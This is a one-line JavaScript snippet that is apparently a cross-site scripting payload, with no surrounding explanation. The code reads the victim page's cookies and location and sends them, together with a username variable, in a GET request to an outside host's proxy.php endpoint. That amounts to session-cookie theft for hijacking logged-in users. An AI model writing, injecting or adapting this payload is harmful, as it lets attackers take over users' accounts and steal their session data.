var username = ''; var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://vim.pl/proxy.php?cookie='+document.cookie+'&location='+document.location+'&username='+username); xhr.send();